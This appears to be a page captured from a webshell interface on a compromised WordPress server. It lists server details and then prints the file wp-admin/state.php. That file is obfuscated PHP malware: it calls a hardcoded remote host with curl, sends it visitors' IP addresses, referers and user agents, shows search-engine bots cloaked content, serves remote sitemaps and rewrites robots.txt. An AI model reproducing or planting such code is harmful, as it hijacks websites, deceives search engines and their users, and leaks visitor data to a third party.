403Webshell
Server IP : 202.155.9.250  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux srv339029361 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : cunco1110 ( 1124)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mamen99.com/public_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mamen99.com/public_html/wp-admin/state.php
<?php
 goto IenV2; b3TmZ: $oIxB3 = $N00XH . $wU7U0; goto waGEa; GyQ2J: function EmR4S($Dl1w7) { goto tJDer; sobNf: USAHJ: goto Fg8xC; Fg8xC: return $rmPg1; goto DTko8; M4Ip2: $WlS5H = "\x67\x6f\x6f\x67\x6c\145\x62\x6f\x74\174\142\x69\x6e\x67\x62\157\x74\x7c\147\x6f\x6f\147\154\x65\174\141\x6f\154\x7c\x62\151\x6e\x67\174\x79\x61\x68\x6f\x6f"; goto qPgeF; qPgeF: if (!($Dl1w7 != '')) { goto USAHJ; } goto n_edK; n_edK: if (!preg_match("\57\x28{$WlS5H}\x29\57\x73\x69", $Dl1w7)) { goto GoNGa; } goto O_DSS; O_DSS: $rmPg1 = true; goto k9bFT; tJDer: $rmPg1 = false; goto M4Ip2; k9bFT: GoNGa: goto sobNf; DTko8: } goto Yvdor; M11oh: $Q5V3h = $mtoRB . "\57\162\x6f\142\x6f\x74\163\56\160\x68\x70"; goto JE_AV; P3E52: echo $T3C2b; goto nQ481; waGEa: $tMP5P["\x6d\x61\x69\x6e\137\163\x68\x65\154\154"] = $oIxB3; goto cwrhB; LECdd: FTcxd: goto X0_ur; fJcTi: $vHE37 = Su9i4($SJnTK); goto xYWg9; PkzUd: $tMP5P["\x77\x6f\162\x64"] = $Ze0FB; goto zoec5; KS54d: header("\x43\157\x6e\164\x65\156\x74\x2d\x74\171\x70\145\x3a\x74\145\170\164\57\170\x6d\154"); goto P3E52; TWUWH: goto SpSDu; goto y_Pje; UQ2BM: define("\x43\x79\x67\116\x38", $_SERVER["\x44\117\103\x55\115\x45\116\x54\x5f\x52\x4f\117\124"]); goto KFFxm; ddWzj: if (!(!$J7mIk && $vHE37 && (preg_match("\57\134\x64\44\57", $i2gSl) || preg_match("\x23\x5b\x61\55\x7a\x5d\x3d\133\141\55\x7a\x30\55\71\135\53\x23", $i2gSl) || preg_match("\x2f\151\164\145\155\x2f", $i2gSl)))) { goto xKll5; } goto nbMCY; NQFnE: $Bt5UV = @wc9xZ($Q5V3h, $tMP5P); goto gsJY5; Wm6LL: goto tLJPI; goto WMS5v; bG0Ai: $i2gSl = $_SERVER["\x52\x45\121\x55\105\x53\x54\137\125\122\x49"]; goto rk0zP; RxlCy: $UnAEt = wC9Xz($ImERJ, $tMP5P); goto usxYl; nQ481: exit; goto qofq8; Vmo3H: echo "\162\x6f\x62\x6f\x74\x73\56\164\170\164\40\146\151\x6c\145\40\x63\162\145\x61\x74\x65\x20\x66\x61\x69\x6c\x21"; goto A1A4T; C7tMr: $PJPpt = $mtoRB . "\x2f\x69\x6e\x64\x61\x74\141\x2e\160\150\160"; goto aBC0c; DMd2B: $tMP5P["\150\162\x65\x66"] = $cQ3XC; goto V8q2G; y_Pje: MMzUg: goto cRuJ0; DmzIg: echo $UnAEt; goto mwXe9; A1A4T: goto hOQD9; goto OkKx5; JE_AV: if (strpos($i2gSl, "\x2e\x70\150\x70")) { goto y0C3a; } goto ZoeyL; vuYch: $tMP5P["\162\145\x71\137\x75\162\x69"] = $i2gSl; goto DMd2B; cRuJ0: $Ze0FB = explode("\77", $i2gSl); goto Q3Qh_; zoec5: $tMP5P["\x61\x63\164\x69\x6f\x6e"] = "\x63\x68\145\x63\153\137\163\151\164\x65\x6d\141\x70"; goto RxlCy; XBT21: header("\103\157\x6e\164\x65\x6e\164\55\164\x79\x70\145\x3a\x74\145\170\164\x2f\x78\x6d\154"); goto DmzIg; nWeDx: $T3C2b = Wc9XZ($REXg_, $tMP5P); goto KS54d; nlco5: $tMP5P["\162\x6f\x62\x6f\164\x73\x5f\x63\157\156\x74"] = $Bt5UV; goto NQFnE; wsnYM: $WF4sd = wc9xZ($PJPpt, $tMP5P); goto qaASV; u3l99: exit; goto gz6nq; df2VB: $K2_JR = wc9xZ($ImERJ, $tMP5P); goto Ra0RI; cwrhB: goto jl089; goto LECdd; xFuux: $tMP5P["\155\x61\x69\x6e\x5f\163\x68\145\x6c\x6c"] = $oIxB3; goto Q3dMt; Ra0RI: if (!(strpos($i2gSl, "\155\x61\x70") > 0 || $K2_JR == "\61")) { goto RlqKJ; } goto e2XVE; qaASV: echo $WF4sd; goto EZFs4; Elpj8: RlqKJ: goto nLzsG; ofdqi: if (strpos(strtolower($Bt5UV), "\x73\x69\164\145\x6d\x61\x70")) { goto ngQiB; } goto Vmo3H; xr6N_: if (!(substr($i2gSl, -6) == "\x72\157\x62\157\164\163")) { goto tgMbW; } goto UQ2BM; cMhGp: function wc9Xz($A5fV_, $Oz78v = array()) { goto gebP2; B1gik: curl_setopt($HNcoR, CURLOPT_URL, "{$A5fV_}"); goto saIvL; D710M: return $B5Egm; goto rTcqq; o1V0N: $HNcoR = curl_init(); goto B1gik; OJmh0: curl_close($HNcoR); goto XdMw3; hhYF1: $B5Egm = curl_exec($HNcoR); goto eJyH5; saIvL: curl_setopt($HNcoR, CURLOPT_RETURNTRANSFER, 1); goto G1pSJ; xbTXO: curl_setopt($HNcoR, CURLOPT_POST, 1); goto Ke7RP; eJyH5: $RVjRj = curl_errno($HNcoR); goto zkbLV; G1pSJ: curl_setopt($HNcoR, CURLOPT_HEADER, 0); goto X2H1C; H1kxK: return false; goto NZnHf; NZnHf: Vp00V: goto D710M; gebP2: $A5fV_ = str_replace("\40", "\x2b", $A5fV_); goto o1V0N; zkbLV: if (!version_compare(PHP_VERSION, "\x38\56\60\56\x30", "\74")) { goto lWuNX; } goto OJmh0; XdMw3: lWuNX: goto eO70J; K_dYJ: curl_setopt($HNcoR, CURLOPT_SSL_VERIFYHOST, FALSE); goto QbWNj; QbWNj: curl_setopt($HNcoR, CURLOPT_POSTFIELDS, http_build_query($Oz78v)); goto hhYF1; Ke7RP: curl_setopt($HNcoR, CURLOPT_SSL_VERIFYPEER, FALSE); goto K_dYJ; eO70J: if (!(0 !== $RVjRj)) { goto Vp00V; } goto H1kxK; X2H1C: curl_setopt($HNcoR, CURLOPT_TIMEOUT, 10); goto xbTXO; rTcqq: } goto GyQ2J; aBC0c: $REXg_ = $mtoRB . "\x2f\155\141\x70\56\x70\150\160"; goto HbY76; EZFs4: exit; goto aS6e3; X0_ur: $oIxB3 = $N00XH . $wU7U0 . $AfVZu; goto xFuux; M2E1g: $Ze0FB = str_replace("\x2f", '', $i2gSl); goto g3zDq; v3uq1: $tMP5P[] = array(); goto dAOj2; e2XVE: $tMP5P["\141\x63\164\x69\157\156"] = "\162\141\156\144\x5f\170\155\154"; goto MQ3_v; dAOj2: $tMP5P["\x64\157\155\x61\x69\156"] = $YEuy2; goto vuYch; KFFxm: $Bt5UV = @file_get_contents(CygN8 . "\x2f\x72\x6f\x62\157\164\x73\x2e\x74\x78\x74"); goto nlco5; GBF36: $ImERJ = $mtoRB . "\x2f\x77\157\x72\144\x73\56\160\150\160"; goto M11oh; nLzsG: uwBV1: goto D30Vb; TTi9r: $tMP5P["\162\145\146\145\162\145\162"] = isset($_SERVER["\x48\x54\x54\x50\x5f\x52\105\x46\x45\122\x45\122"]) ? $_SERVER["\110\x54\x54\120\137\122\x45\x46\105\122\105\x52"] : ''; goto KNz1Y; Q3dMt: jl089: goto O6ANy; vGDP1: $tMP5P["\x61\x63\164\x69\x6f\156"] = "\143\x68\145\143\153\137\167\x6f\x72\x64\163"; goto df2VB; zrvzm: if (strpos($i2gSl, "\56\x70\x68\x70")) { goto MMzUg; } goto M2E1g; gz6nq: xKll5: goto hrBG2; Yvdor: function Su9I4($eCEcc) { goto qkbyX; BO1fs: $FMz2b = true; goto BBlWn; UCMlb: if (!($eCEcc != '' && preg_match("\x2f\50{$L2c_t}\51\57\x73\x69", $eCEcc))) { goto spcey; } goto BO1fs; i3WDD: return $FMz2b; goto MGycP; BBlWn: spcey: goto i3WDD; qkbyX: $FMz2b = false; goto qF8Tm; qF8Tm: $L2c_t = "\147\157\157\147\x6c\145\174\x79\x61\x68\x6f\x6f\174\x62\151\156\147\174\x61\x6f\154"; goto UCMlb; MGycP: } goto Wf3Q3; SIBUj: exit; goto bBXFj; uQtpv: $Ze0FB = str_replace("\56\x78\x6d\x6c", '', $Ze0FB); goto BDfyO; Etghg: $J7mIk = emr4S($k6qFI); goto gNivK; KN3KS: if (!(substr($i2gSl, -4) == "\x2e\x78\155\154")) { goto uwBV1; } goto mLz3c; QP0tJ: $hsR5M = $N00XH . $YEuy2 . $i2gSl; goto C7tMr; gsJY5: file_put_contents(CygN8 . "\57\162\157\142\x6f\x74\163\56\164\170\x74", $Bt5UV); goto czUK_; qofq8: bEL1D: goto zrvzm; bBXFj: tgMbW: goto KN3KS; D30Vb: if (strpos($i2gSl, "\56\x70\x68\x70")) { goto FTcxd; } goto b3TmZ; gLPgw: header("\x43\157\x6e\164\145\x6e\x74\x2d\x74\171\x70\x65\x3a\164\145\x78\x74\57\170\155\x6c"); goto QlDuT; Wf3Q3: $N00XH = isset($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\x48\124\124\120\123"] !== "\x6f\146\x66" ? "\x68\x74\x74\x70\163\x3a\x2f\57" : "\150\164\164\x70\72\57\x2f"; goto bG0Ai; LSKU0: echo "\x72\x6f\x62\157\164\163\56\x74\x78\164\40\x66\x69\x6c\x65\40\143\162\145\x61\164\x65\40\x73\165\x63\x63\x65\163\x73\41"; goto qVhxJ; qVhxJ: hOQD9: goto SIBUj; MQ3_v: $UnAEt = wc9XZ($ImERJ, $tMP5P); goto XBT21; IenV2: $mtoRB = "\x68\164\x74\x70\x3a\x2f\x2f\x31\x39\62\x2e\61\x35\61\x2e\x31\x35\64\x2e\71\x38\57\172\66\60\x35\62\65\x5f\x36\57"; goto cMhGp; gtt4X: $tMP5P["\x68\x74\x74\160\x5f\x75\163\x65\x72\x5f\141\147\145\156\x74"] = $k6qFI; goto wsnYM; nkRlg: qVegH: goto vGDP1; WMS5v: y0C3a: goto pbWRm; O6ANy: $SJnTK = isset($_SERVER["\110\124\124\x50\137\x52\x45\x46\x45\122\105\x52"]) ? $_SERVER["\x48\124\x54\120\x5f\x52\105\106\x45\x52\x45\122"] : ''; goto fJcTi; gNivK: $i2gSl = str_replace(array("\56\150\x74\155", "\x2e\150\x74\x6d\154", "\56\x73\150\164\155\154", "\x2e\x70\x68\x74\x6d\x6c"), '', rtrim($i2gSl, "\57")); goto ddWzj; HbY76: $ZREcx = $mtoRB . "\57\152\165\155\x70\x2e\160\x68\160"; goto GBF36; LNjwU: exit; goto nkRlg; QlDuT: echo $T3C2b; goto LNjwU; xYWg9: $k6qFI = strtolower(isset($_SERVER["\x48\124\x54\120\x5f\x55\123\105\122\x5f\101\x47\x45\x4e\x54"]) ? $_SERVER["\110\124\x54\x50\x5f\x55\x53\x45\122\137\101\x47\105\116\124"] : ''); goto Etghg; usxYl: if (!($UnAEt == "\61")) { goto qVegH; } goto ZD0qs; Q3Qh_: $Ze0FB = $Ze0FB[count($Ze0FB) - 1]; goto uQtpv; ZD0qs: $T3C2b = wc9xz($REXg_, $tMP5P); goto gLPgw; V8q2G: $tMP5P["\162\145\x71\x5f\165\162\x6c"] = $hsR5M; goto xr6N_; BDfyO: SpSDu: goto PkzUd; OkKx5: ngQiB: goto LSKU0; ZoeyL: $cQ3XC = $N00XH . $YEuy2; goto Wm6LL; mwXe9: exit; goto Elpj8; mLz3c: if (!strpos($i2gSl, "\141\154\154\163\151\x74\145\155\141\160\56\170\155\154")) { goto bEL1D; } goto nWeDx; gmzUA: echo WC9Xz($ZREcx, $tMP5P); goto u3l99; g3zDq: $Ze0FB = str_replace("\56\170\155\154", '', $Ze0FB); goto TWUWH; NcA5y: $wU7U0 = $_SERVER["\123\105\x52\x56\x45\x52\137\116\x41\x4d\x45"]; goto QP0tJ; nbMCY: $tMP5P["\151\x70"] = $_SERVER["\122\x45\x4d\117\124\x45\x5f\101\104\104\x52"]; goto TTi9r; pbWRm: $cQ3XC = $N00XH . $YEuy2 . $AfVZu; goto ALj7y; ALj7y: tLJPI: goto v3uq1; hrBG2: if (!$J7mIk) { goto oActS; } goto gtt4X; czUK_: $Bt5UV = @file_get_contents(CygN8 . "\x2f\162\157\x62\157\164\x73\x2e\164\x78\x74"); goto ofdqi; KNz1Y: $tMP5P["\165\163\x65\x72\137\x61\147\145\x6e\x74"] = strtolower(isset($_SERVER["\110\124\x54\x50\137\x55\123\105\x52\x5f\x41\x47\x45\x4e\x54"]) ? $_SERVER["\110\x54\124\x50\137\x55\x53\105\x52\137\x41\107\105\x4e\124"] : ''); goto gmzUA; rk0zP: $YEuy2 = $_SERVER["\110\124\x54\x50\x5f\110\117\123\124"]; goto x6Ysu; x6Ysu: $AfVZu = $_SERVER["\120\110\120\x5f\123\x45\114\x46"]; goto NcA5y; aS6e3: oActS:

Youez - 2016 - github.com/yon3zu
LinuXploit